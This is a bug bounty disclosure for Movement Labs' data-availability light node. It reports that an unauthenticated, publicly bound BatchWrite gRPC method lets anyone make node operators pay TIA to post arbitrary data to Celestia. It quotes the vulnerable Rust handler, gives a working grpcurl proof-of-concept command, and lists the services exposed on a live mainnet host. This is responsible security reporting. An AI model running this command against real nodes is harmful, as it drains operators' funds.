#43253 [BC-Critical] Attackers can drain TIA from nodes in networks running in sequencer mode

Submitted on Apr 4th 2025 at 02:57:21 UTC by @usmannk for Attackathon | Movement Labs

  • Report ID: #43253

  • Report Type: Blockchain/DLT

  • Report severity: Critical

  • Target: https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/da/movement/protocol/light-node

  • Impacts:

    • Direct loss of funds

Description

Brief/Intro

The batch_write rpc call can be abused by attackers to write arbitrary data to the Celestia network. Anyone running the DA Light Node is at risk.

Vulnerability Details

The batch_write RPC method does not have access control. Further, the LightNodeService is bound to the ip address 0.0.0.0 in both the default and suggested (https://docs.movementnetwork.xyz/assets/files/config-4551e1260977506ebb8dcdea19b254ed.json) configurations. Because 0.0.0.0 allows requests from not just the local host but any IP address on the internet, an attacker may call this RPC to write arbitrary data to the Celestia network. Each time this is done the node operator spends TIA tokens to persist this data

Even with all prevalidators enabled, an attacker can simply resubmit old signed blobs to be forwarded to Celestia.

Impact Details

Node operators face direct loss of funds (TIA).

References

protocol-units/da/movement/protocol/light-node/src/sequencer.rs

async fn batch_write(
		&self,
		request: tonic::Request<grpc::BatchWriteRequest>,
	) -> std::result::Result<tonic::Response<grpc::BatchWriteResponse>, tonic::Status> {
		info!("here 0_1");
		info!("{}", serde_json::to_string(&Transaction::test()).unwrap());
		let blobs_for_submission = request.into_inner().blobs;

		// make transactions from the blobs
		let mut transactions = Vec::new();
		for blob in blobs_for_submission {
			let transaction: Transaction = serde_json::from_slice(&blob.data)
				.map_err(|e| tonic::Status::internal(e.to_string()))?;
			info!("{}",self.prevalidator.is_some());
			match &self.prevalidator {
				Some(prevalidator) => {
					// match the prevalidated status, if validation error discard if internal error raise internal error
					match prevalidator.prevalidate(transaction).await {
						Ok(prevalidated) => {
							transactions.push(prevalidated.into_inner());
						}
						Err(e) => {
							match e {
								movement_da_light_node_prevalidator::Error::Validation(_) => {
									// discard the transaction
									info!(
										"discarding transaction due to prevalidation error {:?}",
										e
									);
								}
								movement_da_light_node_prevalidator::Error::Internal(e) => {
									return Err(tonic::Status::internal(e.to_string()));
								}
							}
						}
					}
				}
				None => transactions.push(transaction),
			}
		}

		// publish the transactions
		let memseq = self.memseq.clone();
		memseq
			.publish_many(transactions)
			.await
			.map_err(|e| tonic::Status::internal(e.to_string()))?;

		Ok(tonic::Response::new(grpc::BatchWriteResponse { blobs: vec![] }))
	}

Proof of Concept

Proof of Concept

  • Run a node in sequencer mode

  • Call this node's batch_write RPC method from another host:

  • grpcurl -v -plaintext -d '{"blobs":[{"data":"eyJkYXRhIjpbMF0sImFwcGxpY2F0aW9uX3ByaW9yaXR5IjowLCJzZXF1ZW5jZV9udW1iZXIiOjAsImlkIjpbMTU3LDIxLDU1LDQzLDI0LDQ4LDExNSw5MCwxMCw0NSw1LDMzLDcwLDEwNSwyMjcsMzksMjYsMTE3LDc0LDE3Miw3MCwyNTQsNDgsNTksMTA0LDE4Nyw0OCw3MCwxLDU4LDUsMTEwXX0K"}]}' localhost:30730 movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService/BatchWrite (this can be expanded to several megabytes of data at one time)

  • The node unconditionally submits this to Celestia to be written, paying for the cost.

The live Movement mainnet exposes this service as seen here:

$ grpcurl m1-da-light-node.mainnet.movementnetwork.xyz:443 list movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.BatchRead
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.BatchWrite
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.ReadAtHeight
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.StreamReadFromHeight
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.StreamReadLatest
movementlabs.protocol_units.da.light_node.v1beta2.LightNodeService.StreamWriteBlob

Was this helpful?